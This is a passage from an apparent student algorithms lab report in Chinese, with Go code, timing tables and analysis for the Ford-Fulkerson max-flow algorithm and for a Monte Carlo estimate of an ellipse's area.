punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">></span> f<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token punctuation">{</span>            a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> c<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">-</span> f<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span>v<span class="token punctuation">]</span>            pre<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> u <span class="token comment" spellcheck="true">//</span>            <span class="token function">DFS</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">for</span> v <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> v <span class="token operator">&lt;=</span> t<span class="token punctuation">;</span> v<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> c<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> c<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">!=</span> INF <span class="token operator">&amp;&amp;</span> visited<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> f<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">{</span>            a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span>            pre<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token operator">-</span>u            <span class="token function">DFS</span><span class="token punctuation">(</span>v<span class="token punctuation">)</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">argument</span><span class="token punctuation">(</span>pre <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>    <span class="token comment" spellcheck="true">//fmt.Println(pre)</span>    <span class="token comment" spellcheck="true">//fmt.Println(a)</span>    <span class="token keyword">var</span> min <span class="token operator">=</span> INF    <span class="token keyword">for</span> v <span class="token operator">:=</span> s<span class="token punctuation">;</span> v <span class="token operator">&lt;=</span> t<span class="token punctuation">;</span> v<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">!=</span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token operator">&lt;</span> min <span class="token punctuation">{</span>            min <span class="token operator">=</span> a<span class="token punctuation">[</span>v<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">//求最小流</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span>    <span class="token keyword">var</span> u <span class="token operator">=</span> t    v <span class="token operator">:=</span> pre<span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token comment" spellcheck="true">// 从路径的终点开始调整</span>    <span class="token keyword">for</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> v <span class="token operator">>=</span> <span class="token number">0</span> <span class="token punctuation">{</span> <span class="token comment" spellcheck="true">// 向前调整</span>            f<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">[</span>v<span class="token punctuation">]</span><span class="token punctuation">[</span>u<span class="token punctuation">]</span> <span class="token operator">+</span> min            u <span class="token operator">=</span> v        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span>            f<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token operator">-</span>v<span class="token punctuation">]</span> <span class="token operator">=</span> f<span class="token punctuation">[</span>u<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token operator">-</span>v<span class="token punctuation">]</span> <span class="token operator">-</span> min <span class="token comment" spellcheck="true">// 向后调整</span>            u <span class="token operator">=</span> <span class="token operator">-</span>v        <span class="token punctuation">}</span>        <span class="token keyword">if</span> u <span class="token operator">==</span> s <span class="token punctuation">{</span>            <span class="token keyword">break</span>        <span class="token punctuation">}</span>        <span class="token comment" spellcheck="true">//fmt.Println(u)</span>        v <span class="token operator">=</span> pre<span class="token punctuation">[</span>u<span class="token punctuation">]</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre></li></ol><h3 id="实验结果-4"><a href="#实验结果-4" class="headerlink" title="实验结果"></a>实验结果</h3><p><img src="/images/pasted-651.png" alt="upload successful"></p><table><thead><tr><th>n</th><th>边的个数</th><th>运行时间</th></tr></thead><tbody><tr><td>20</td><td>190</td><td>997400</td></tr><tr><td>40</td><td>780</td><td>6982000</td></tr><tr><td>60</td><td>1770</td><td>35906200</td></tr><tr><td>80</td><td>3160</td><td>1.08E+08</td></tr><tr><td>100</td><td>4950</td><td>1.77E+08</td></tr><tr><td>120</td><td>7140</td><td>2.91E+08</td></tr><tr><td>140</td><td>9730</td><td>4.74E+08</td></tr><tr><td>160</td><td>12720</td><td>7.24E+08</td></tr><tr><td>180</td><td>16110</td><td>1.16E+09</td></tr><tr><td>200</td><td>19900</td><td>1.47E+09</td></tr><tr><td>220</td><td>24090</td><td>1.97E+09</td></tr><tr><td>240</td><td>28680</td><td>2.87E+09</td></tr><tr><td>260</td><td>33670</td><td>3.44E+09</td></tr><tr><td>280</td><td>39060</td><td>4.03E+09</td></tr><tr><td>300</td><td>44850</td><td>6.07E+09</td></tr><tr><td>320</td><td>51040</td><td>7.38E+09</td></tr><tr><td>340</td><td>57630</td><td>1.19E+10</td></tr><tr><td>360</td><td>64620</td><td>1.08E+10</td></tr><tr><td>380</td><td>72010</td><td>1.21E+10</td></tr></tbody></table><p>数据可视化</p><p><img src="/images/pasted-652.png" alt="upload successful"></p><p>分析:</p><p>​    若网络G中有n个顶点和e条边，FordFulkerson()算法中，找一条增广路径的时间为O(e)，调整流量的时间为O(e)，设f<em>表示算法找到的最大流，迭代次数最多为|f</em>|，所以该算法的时间复杂度为O(e|f*|)</p><h3 id="实验环境-4"><a href="#实验环境-4" class="headerlink" title="实验环境"></a>实验环境</h3><p>excel</p><p>golang</p><h3 id="疑难小结-4"><a href="#疑难小结-4" class="headerlink" title="疑难小结"></a>疑难小结</h3><ol><li>由于生成的是完全图，在判断边的个数和运算时间的关系感觉还具有偏向性质，这样边数就和顶点有着某种关系，感觉还能优化一下造的数据</li><li>这样求增广路径还有概率重复操作，可以优化一下广度优先<h2 id="随机化算法应用-用随机算法计算椭圆面积"><a href="#随机化算法应用-用随机算法计算椭圆面积" class="headerlink" title="随机化算法应用(用随机算法计算椭圆面积)"></a>随机化算法应用(用随机算法计算椭圆面积)</h2><h3 id="1-实验过程-请用简单的文字描述-1"><a href="#1-实验过程-请用简单的文字描述-1" class="headerlink" title="1.实验过程(请用简单的文字描述)"></a>1.实验过程(请用简单的文字描述)</h3></li></ol><p>1.首先对问题进行重述使用随机算法计算椭圆面积，获得精度比较高结果，并输出；</p><p>2.构建椭圆</p><p><img src="/images/pasted-653.png" alt="upload successful"></p><p>所以面积等于:2×1×Π</p><p>3.确定随机数范围，因为n过小时波动太大，所以n 100000开始</p><p>每次递增100000，来使数据不那么波动</p><p>通过面积比来确定椭圆面积，即随机点落在椭圆内比落在正方体内</p><p>4.实验过程大计划:使用golang进行编写，使用excel进行数据可视化</p><h3 id="实验详细操作步骤或程序清单-3"><a href="#实验详细操作步骤或程序清单-3" class="headerlink" title="实验详细操作步骤或程序清单"></a>实验详细操作步骤或程序清单</h3><ol><li>使用随机数生成0~2的随机数，因为对称在四个象限的所占比例一样，所以只需要算一个象限就行了</li><li>截取小数位数来确定相同的位数</li></ol><h4 id="程序清单"><a href="#程序清单" class="headerlink" title="程序清单"></a>程序清单</h4><p>梯度化取n</p><pre class=" language-go"><code class="language-go"><span class="token comment" spellcheck="true">//梯度化取n</span><span class="token keyword">if</span> n <span class="token operator">&lt;</span> <span class="token number">1000</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> n<span class="token operator">%</span><span class="token number">50</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>                <span class="token keyword">continue</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token keyword">if</span> n <span class="token operator">&lt;</span> <span class="token number">100000</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> n <span class="token operator">%</span><span class="token number">1000</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>                <span class="token keyword">continue</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token keyword">if</span> n <span class="token operator">&lt;</span> <span class="token number">100000000</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> n <span class="token operator">%</span> <span class="token number">100000</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>                <span class="token keyword">continue</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span></code></pre><p>随机化点</p><pre class=" language-go"><code class="language-go">    x <span class="token operator">:=</span> <span class="token function">RandFloat64</span><span class="token punctuation">(</span><span class="token number">0.000000000001</span><span class="token punctuation">,</span><span class="token number">2.000000000000</span><span class="token punctuation">)</span>    y <span class="token operator">:=</span> <span class="token function">RandFloat64</span><span class="token punctuation">(</span><span class="token number">0.000000000001</span><span class="token punctuation">,</span><span class="token number">2.000000000000</span><span class="token punctuation">)</span></code></pre><p>总代码</p><pre class=" language-go"><code class="language-go"><span class="token keyword">package</span> main<span class="token keyword">import</span> <span class="token punctuation">(</span>    <span class="token string">"fmt"</span>    <span class="token string">"math"</span>    <span class="token string">"math/rand"</span>    <span class="token string">"strconv"</span>    <span class="token string">"strings"</span>    <span class="token string">"time"</span><span class="token punctuation">)</span><span class="token keyword">func</span> <span class="token function">RandFloat64</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> max <span class="token builtin">float64</span><span class="token punctuation">)</span> <span class="token builtin">float64</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> min <span class="token operator">>=</span> max <span class="token operator">||</span> min <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> max <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    minStr <span class="token operator">:=</span> strconv<span class="token punctuation">.</span><span class="token function">FormatFloat</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> <span class="token string">'f'</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">64</span><span class="token punctuation">)</span>    <span class="token comment" spellcheck="true">// 不包含小数点</span>    <span class="token keyword">if</span> strings<span class="token punctuation">.</span><span class="token function">Index</span><span class="token punctuation">(</span>minStr<span class="token punctuation">,</span> <span class="token string">"."</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token operator">-</span><span class="token number">1</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    multipleNum <span class="token operator">:=</span> <span class="token function">len</span><span class="token punctuation">(</span>minStr<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token punctuation">(</span>strings<span class="token punctuation">.</span><span class="token function">Index</span><span class="token punctuation">(</span>minStr<span class="token punctuation">,</span> <span class="token string">"."</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span>    multiple <span class="token operator">:=</span> math<span class="token punctuation">.</span><span class="token function">Pow10</span><span class="token punctuation">(</span>multipleNum<span class="token punctuation">)</span>    minMult <span class="token operator">:=</span> min <span class="token operator">*</span> multiple    maxMult <span class="token operator">:=</span> max <span class="token operator">*</span> multiple    randVal <span class="token operator">:=</span> <span class="token function">RandInt64</span><span class="token punctuation">(</span><span class="token function">int64</span><span class="token punctuation">(</span>minMult<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">int64</span><span class="token punctuation">(</span>maxMult<span class="token punctuation">)</span><span class="token punctuation">)</span>    result <span class="token operator">:=</span> <span class="token function">float64</span><span class="token punctuation">(</span>randVal<span class="token punctuation">)</span> <span class="token operator">/</span> multiple    <span class="token keyword">return</span> result<span class="token punctuation">}</span><span class="token comment" spellcheck="true">//随机整数</span><span class="token keyword">func</span> <span class="token function">RandInt64</span><span class="token punctuation">(</span>min<span class="token punctuation">,</span> max <span class="token builtin">int64</span><span class="token punctuation">)</span> <span class="token builtin">int64</span> <span class="token punctuation">{</span>    <span class="token keyword">if</span> min <span class="token operator">>=</span> max <span class="token operator">||</span> min <span class="token operator">==</span> <span class="token number">0</span> <span class="token operator">||</span> max <span class="token operator">==</span> <span class="token number">0</span> <span class="token punctuation">{</span>        <span class="token keyword">return</span> max    <span class="token punctuation">}</span>    <span class="token keyword">return</span> rand<span class="token punctuation">.</span><span class="token function">Int63n</span><span class="token punctuation">(</span>max <span class="token operator">-</span> min <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> min<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">FloatRound</span><span class="token punctuation">(</span>f <span class="token builtin">float64</span><span class="token punctuation">,</span> n <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token builtin">float64</span> <span class="token punctuation">{</span>    n10 <span class="token operator">:=</span> math<span class="token punctuation">.</span><span class="token function">Pow10</span><span class="token punctuation">(</span>n<span class="token punctuation">)</span>    <span class="token keyword">return</span> math<span class="token punctuation">.</span><span class="token function">Trunc</span><span class="token punctuation">(</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token operator">*</span>n10<span class="token punctuation">)</span><span class="token operator">/</span>n10<span class="token punctuation">}</span><span class="token keyword">func</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span>  <span class="token punctuation">{</span>    <span class="token comment" spellcheck="true">//随机点范围0~2</span>    fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span><span class="token string">"n\t面积\t正确位数\t运行时间"</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> n <span class="token operator">:=</span> <span class="token number">1</span><span class="token punctuation">;</span> n <span class="token operator">&lt;=</span> <span class="token number">100000000</span><span class="token punctuation">;</span> n<span class="token operator">++</span> <span class="token punctuation">{</span>        <span class="token keyword">if</span> n <span class="token operator">&lt;</span> <span class="token number">1000</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> n<span class="token operator">%</span><span class="token number">50</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>                <span class="token keyword">continue</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token keyword">if</span> n <span class="token operator">&lt;</span> <span class="token number">100000</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> n <span class="token operator">%</span><span class="token number">1000</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>                <span class="token keyword">continue</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span><span class="token keyword">else</span> <span class="token keyword">if</span> n <span class="token operator">&lt;</span> <span class="token number">100000000</span><span class="token punctuation">{</span>            <span class="token keyword">if</span> n <span class="token operator">%</span> <span class="token number">100000</span> <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>                <span class="token keyword">continue</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>        area <span class="token operator">:=</span> n        inEllipse <span class="token operator">:=</span> <span class="token number">0</span>        start <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Now</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">for</span> n <span class="token operator">!=</span> <span class="token number">0</span><span class="token punctuation">{</span>            n <span class="token operator">=</span> n <span class="token operator">-</span> <span class="token number">1</span>            x <span class="token operator">:=</span> <span class="token function">RandFloat64</span><span class="token punctuation">(</span><span class="token number">0.000000000001</span><span class="token punctuation">,</span><span class="token number">2.000000000000</span><span class="token punctuation">)</span>            y <span class="token operator">:=</span> <span class="token function">RandFloat64</span><span class="token punctuation">(</span><span class="token number">0.000000000001</span><span class="token punctuation">,</span><span class="token number">2.000000000000</span><span class="token punctuation">)</span>            lnng <span class="token operator">:=</span> x<span class="token operator">*</span>x<span class="token operator">/</span><span class="token number">4</span><span class="token operator">+</span>y<span class="token operator">*</span>y            <span class="token keyword">if</span> lnng <span class="token operator">&lt;=</span> <span class="token number">1</span><span class="token punctuation">{</span>                inEllipse <span class="token operator">=</span> inEllipse <span class="token operator">+</span> <span class="token number">1</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>        n <span class="token operator">=</span>area        <span class="token comment" spellcheck="true">//fmt.Println(area)</span>        inEllipseFloat <span class="token operator">:=</span> <span class="token function">float64</span><span class="token punctuation">(</span>inEllipse<span class="token punctuation">)</span>        areaFloat <span class="token operator">:=</span> <span class="token function">float64</span><span class="token punctuation">(</span>area<span class="token punctuation">)</span>        results <span class="token operator">:=</span> inEllipseFloat<span class="token operator">/</span>areaFloat<span class="token operator">*</span><span class="token number">16</span>        sincereTime <span class="token operator">:=</span> time<span class="token punctuation">.</span><span class="token function">Since</span><span class="token punctuation">(</span>start<span class="token punctuation">)</span>        <span class="token comment" spellcheck="true">//fmt.Println(results)</span>        <span class="token comment" spellcheck="true">//fmt.Printf("%d %.8f\n",area,results)</span>        <span class="token comment" spellcheck="true">//subtraction := results -  6.28</span>        <span class="token comment" spellcheck="true">//6.2831852</span>        lnng <span class="token operator">:=</span> <span class="token number">2</span><span class="token operator">*</span><span class="token number">1</span><span class="token operator">*</span>math<span class="token punctuation">.</span>Pi        <span class="token comment" spellcheck="true">//lnng = FloatRound(lnng,1)</span>        <span class="token comment" spellcheck="true">//results = FloatRound(results,1)</span>        <span class="token comment" spellcheck="true">//fmt.Println(lnng," ",results)</span>        <span class="token comment" spellcheck="true">//fmt.Println(results)</span>        <span class="token comment" spellcheck="true">//fmt.Println(FloatRound(lnng,4))</span>        <span class="token comment" spellcheck="true">//fmt.Println(results,FloatRound(results,2),FloatRound(lnng,2))</span>        <span class="token keyword">for</span> i <span class="token operator">:=</span> <span class="token number">7</span><span class="token punctuation">;</span> i <span class="token operator">>=</span> <span class="token number">0</span><span class="token punctuation">;</span> i<span class="token operator">--</span> <span class="token punctuation">{</span>            <span class="token keyword">if</span> <span class="token function">FloatRound</span><span class="token punctuation">(</span>lnng<span class="token punctuation">,</span>i<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token function">FloatRound</span><span class="token punctuation">(</span>results<span class="token punctuation">,</span>i<span class="token punctuation">)</span><span class="token punctuation">{</span>                fmt<span class="token punctuation">.</span><span class="token function">Println</span><span class="token punctuation">(</span>n<span class="token punctuation">,</span><span class="token string">"\t"</span><span class="token punctuation">,</span>results<span class="token punctuation">,</span><span class="token string">"\t"</span><span class="token punctuation">,</span>i<span class="token punctuation">,</span><span class="token string">"\t"</span><span class="token punctuation">,</span><span class="token function">int</span><span class="token punctuation">(</span>sincereTime<span class="token punctuation">)</span><span class="token punctuation">)</span>                <span class="token keyword">break</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><h3 id="实验结果-5"><a href="#实验结果-5" class="headerlink" title="实验结果"></a>实验结果</h3><table><thead><tr><th>n</th><th>面积</th><th>正确位数</th><th>运行时间</th></tr></thead><tbody><tr><td>50</td><td>6.4</td><td>0</td><td>0</td></tr><tr><td>100</td><td>6.88</td><td>0</td><td>0</td></tr><tr><td>250</td><td>6.272</td><td>1</td><td>0</td></tr><tr><td>300</td><td>6.88</td><td>0</td><td>0</td></tr><tr><td>550</td><td>6.138182</td><td>0</td><td>0</td></tr><tr><td>600</td><td>6.373333</td><td>0</td><td>0</td></tr><tr><td>650</td><td>6.449231</td><td>0</td><td>997800</td></tr><tr><td>700</td><td>6.217143</td><td>1</td><td>0</td></tr><tr><td>800</td><td>6.34</td><td>0</td><td>997300</td></tr><tr><td>850</td><td>6.456471</td><td>0</td><td>0</td></tr><tr><td>950</td><td>6.349474</td><td>0</td><td>996800</td></tr><tr><td>1000</td><td>6.256</td><td>1</td><td>0</td></tr><tr><td>2000</td><td>6.552</td><td>0</td><td>997100</td></tr><tr><td>3000</td><td>6.224</td><td>1</td><td>998500</td></tr><tr><td>4000</td><td>6.508</td><td>0</td><td>1993800</td></tr><tr><td>5000</td><td>6.3712</td><td>0</td><td>1994100</td></tr><tr><td>6000</td><td>6.256</td><td>1</td><td>2992000</td></tr><tr><td>7000</td><td>6.315429</td><td>0</td><td>2992500</td></tr><tr><td>8000</td><td>6.196</td><td>0</td><td>3990000</td></tr><tr><td>9000</td><td>6.108444</td><td>0</td><td>2991900</td></tr><tr><td>10000</td><td>6.2288</td><td>1</td><td>3989600</td></tr><tr><td>11000</td><td>6.270545</td><td>1</td><td>3989100</td></tr><tr><td>12000</td><td>6.292</td><td>1</td><td>4985300</td></tr><tr><td>13000</td><td>6.359385</td><td>0</td><td>4986700</td></tr><tr><td>14000</td><td>6.288</td><td>2</td><td>4986900</td></tr><tr><td>15000</td><td>6.270933</td><td>1</td><td>7016700</td></tr><tr><td>16000</td><td>6.426</td><td>0</td><td>5950000</td></tr><tr><td>17000</td><td>6.369882</td><td>0</td><td>6982400</td></tr><tr><td>18000</td><td>6.276444</td><td>1</td><td>7977500</td></tr><tr><td>19000</td><td>6.459789</td><td>0</td><td>6984500</td></tr><tr><td>20000</td><td>6.228</td><td>1</td><td>7975600</td></tr><tr><td>21000</td><td>6.221714</td><td>1</td><td>9792800</td></tr><tr><td>22000</td><td>6.188364</td><td>0</td><td>8976300</td></tr><tr><td>23000</td><td>6.247652</td><td>1</td><td>8975500</td></tr><tr><td>24000</td><td>6.226</td><td>1</td><td>8976800</td></tr><tr><td>25000</td><td>6.30336</td><td>0</td><td>10970300</td></tr><tr><td>26000</td><td>6.332308</td><td>0</td><td>9973700</td></tr><tr><td>27000</td><td>6.275556</td><td>1</td><td>9972600</td></tr><tr><td>28000</td><td>6.296571</td><td>1</td><td>11968300</td></tr><tr><td>29000</td><td>6.340966</td><td>0</td><td>11968400</td></tr><tr><td>30000</td><td>6.304</td><td>0</td><td>11966500</td></tr><tr><td>31000</td><td>6.352516</td><td>0</td><td>12965300</td></tr><tr><td>32000</td><td>6.264</td><td>1</td><td>12967100</td></tr><tr><td>33000</td><td>6.260848</td><td>1</td><td>13962000</td></tr><tr><td>34000</td><td>6.296</td><td>1</td><td>13964300</td></tr><tr><td>35000</td><td>6.2656</td><td>1</td><td>13960800</td></tr><tr><td>36000</td><td>6.259556</td><td>1</td><td>14992600</td></tr><tr><td>37000</td><td>6.279351</td><td>1</td><td>16921400</td></tr><tr><td>38000</td><td>6.262737</td><td>1</td><td>16960800</td></tr><tr><td>39000</td><td>6.232205</td><td>1</td><td>15956200</td></tr><tr><td>40000</td><td>6.3076</td><td>0</td><td>19944800</td></tr><tr><td>41000</td><td>6.295415</td><td>1</td><td>17951100</td></tr><tr><td>42000</td><td>6.316571</td><td>0</td><td>18948400</td></tr><tr><td>43000</td><td>6.313674</td><td>0</td><td>18949300</td></tr><tr><td>44000</td><td>6.258909</td><td>1</td><td>17951800</td></tr><tr><td>45000</td><td>6.249956</td><td>1</td><td>18951100</td></tr><tr><td>46000</td><td>6.269217</td><td>1</td><td>20941700</td></tr><tr><td>47000</td><td>6.267234</td><td>1</td><td>19947000</td></tr><tr><td>48000</td><td>6.312</td><td>0</td><td>21943000</td></tr><tr><td>49000</td><td>6.282776</td><td>2</td><td>20942500</td></tr><tr><td>50000</td><td>6.29728</td><td>1</td><td>21940500</td></tr><tr><td>51000</td><td>6.274824</td><td>1</td><td>21954800</td></tr><tr><td>52000</td><td>6.281846</td><td>2</td><td>22958100</td></tr><tr><td>53000</td><td>6.270491</td><td>1</td><td>21911000</td></tr><tr><td>54000</td><td>6.279407</td><td>1</td><td>21971600</td></tr><tr><td>55000</td><td>6.243782</td><td>1</td><td>22941700</td></tr><tr><td>56000</td><td>6.261143</td><td>1</td><td>23936600</td></tr><tr><td>57000</td><td>6.23607</td><td>1</td><td>22934700</td></tr><tr><td>58000</td><td>6.273931</td><td>1</td><td>25342000</td></tr><tr><td>59000</td><td>6.244068</td><td>1</td><td>25899500</td></tr><tr><td>60000</td><td>6.274667</td><td>1</td><td>24965700</td></tr><tr><td>61000</td><td>6.19541</td><td>0</td><td>23935600</td></tr><tr><td>62000</td><td>6.242065</td><td>1</td><td>24899500</td></tr><tr><td>63000</td><td>6.280381</td><td>2</td><td>24961200</td></tr><tr><td>64000</td><td>6.34275</td><td>0</td><td>26909000</td></tr><tr><td>65000</td><td>6.268554</td><td>1</td><td>24960000</td></tr><tr><td>66000</td><td>6.307636</td><td>0</td><td>26923500</td></tr><tr><td>67000</td><td>6.275821</td><td>1</td><td>25901600</td></tr><tr><td>68000</td><td>6.314824</td><td>0</td><td>25931000</td></tr><tr><td>69000</td><td>6.337623</td><td>0</td><td>26957900</td></tr><tr><td>70000</td><td>6.252343</td><td>1</td><td>27897000</td></tr><tr><td>71000</td><td>6.276958</td><td>1</td><td>27953900</td></tr><tr><td>72000</td><td>6.276444</td><td>1</td><td>27895200</td></tr><tr><td>73000</td><td>6.289753</td><td>2</td><td>27923000</td></tr><tr><td>74000</td><td>6.274811</td><td>1</td><td>29954800</td></tr><tr><td>75000</td><td>6.26816</td><td>1</td><td>28889800</td></tr><tr><td>76000</td><td>6.283158</td><td>4</td><td>29919900</td></tr><tr><td>77000</td><td>6.300675</td><td>0</td><td>28922200</td></tr><tr><td>78000</td><td>6.325949</td><td>0</td><td>28953600</td></tr><tr><td>79000</td><td>6.326684</td><td>0</td><td>28926200</td></tr><tr><td>80000</td><td>6.2772</td><td>1</td><td>31910500</td></tr><tr><td>81000</td><td>6.289185</td><td>2</td><td>31886700</td></tr><tr><td>82000</td><td>6.291317</td><td>1</td><td>30940500</td></tr><tr><td>83000</td><td>6.272</td><td>1</td><td>34916200</td></tr><tr><td>84000</td><td>6.29619</td><td>1</td><td>35904700</td></tr><tr><td>85000</td><td>6.275576</td><td>1</td><td>34905800</td></tr><tr><td>86000</td><td>6.284465</td><td>2</td><td>34940100</td></tr><tr><td>87000</td><td>6.304</td><td>0</td><td>34900400</td></tr><tr><td>88000</td><td>6.235455</td><td>1</td><td>36157400</td></tr><tr><td>89000</td><td>6.254742</td><td>1</td><td>37901400</td></tr><tr><td>90000</td><td>6.314844</td><td>0</td><td>47873500</td></tr><tr><td>91000</td><td>6.317714</td><td>0</td><td>36409400</td></tr><tr><td>92000</td><td>6.280174</td><td>2</td><td>36934400</td></tr><tr><td>93000</td><td>6.273548</td><td>1</td><td>37866200</td></tr><tr><td>94000</td><td>6.278298</td><td>1</td><td>38452500</td></tr><tr><td>95000</td><td>6.273684</td><td>1</td><td>36894500</td></tr><tr><td>96000</td><td>6.301167</td><td>0</td><td>37909000</td></tr><tr><td>97000</td><td>6.298887</td><td>1</td><td>37891200</td></tr><tr><td>98000</td><td>6.268735</td><td>1</td><td>38900400</td></tr><tr><td>99000</td><td>6.286061</td><td>2</td><td>38865400</td></tr><tr><td>100000</td><td>6.25328</td><td>1</td><td>40888900</td></tr><tr><td>200000</td><td>6.29984</td><td>1</td><td>75827400</td></tr><tr><td>300000</td><td>6.284587</td><td>2</td><td>1.14E+08</td></tr><tr><td>400000</td><td>6.29292</td><td>1</td><td>1.52E+08</td></tr><tr><td>500000</td><td>6.297632</td><td>1</td><td>1.9E+08</td></tr><tr><td>600000</td><td>6.300133</td><td>0</td><td>2.33E+08</td></tr><tr><td>700000</td><td>6.289097</td><td>2</td><td>2.63E+08</td></tr><tr><td>800000</td><td>6.28908</td><td>2</td><td>2.96E+08</td></tr><tr><td>900000</td><td>6.286222</td><td>2</td><td>3.38E+08</td></tr><tr><td>1000000</td><td>6.299024</td><td>1</td><td>3.9E+08</td></tr><tr><td>1100000</td><td>6.280873</td><td>2</td><td>4.07E+08</td></tr><tr><td>1200000</td><td>6.27564</td><td>1</td><td>4.71E+08</td></tr><tr><td>1300000</td><td>6.283545</td><td>3</td><td>5.25E+08</td></tr><tr><td>1400000</td><td>6.288446</td><td>2</td><td>6.91E+08</td></tr><tr><td>1500000</td><td>6.280661</td><td>2</td><td>6.46E+08</td></tr><tr><td>1600000</td><td>6.28694</td><td>2</td><td>6.65E+08</td></tr><tr><td>1700000</td><td>6.282776</td><td>2</td><td>6.6E+08</td></tr><tr><td>1800000</td><td>6.287796</td><td>2</td><td>7.18E+08</td></tr><tr><td>1900000</td><td>6.282063</td><td>2</td><td>7.97E+08</td></tr><tr><td>2000000</td><td>6.278072</td><td>1</td><td>9.46E+08</td></tr><tr><td>2100000</td><td>6.283208</td><td>3</td><td>1.23E+09</td></tr><tr><td>2200000</td><td>6.280022</td><td>2</td><td>1.17E+09</td></tr><tr><td>2300000</td><td>6.272459</td><td>1</td><td>1.3E+09</td></tr><tr><td>2400000</td><td>6.283827</td><td>3</td><td>1.23E+09</td></tr><tr><td>2500000</td><td>6.287731</td><td>2</td><td>1.24E+09</td></tr><tr><td>260000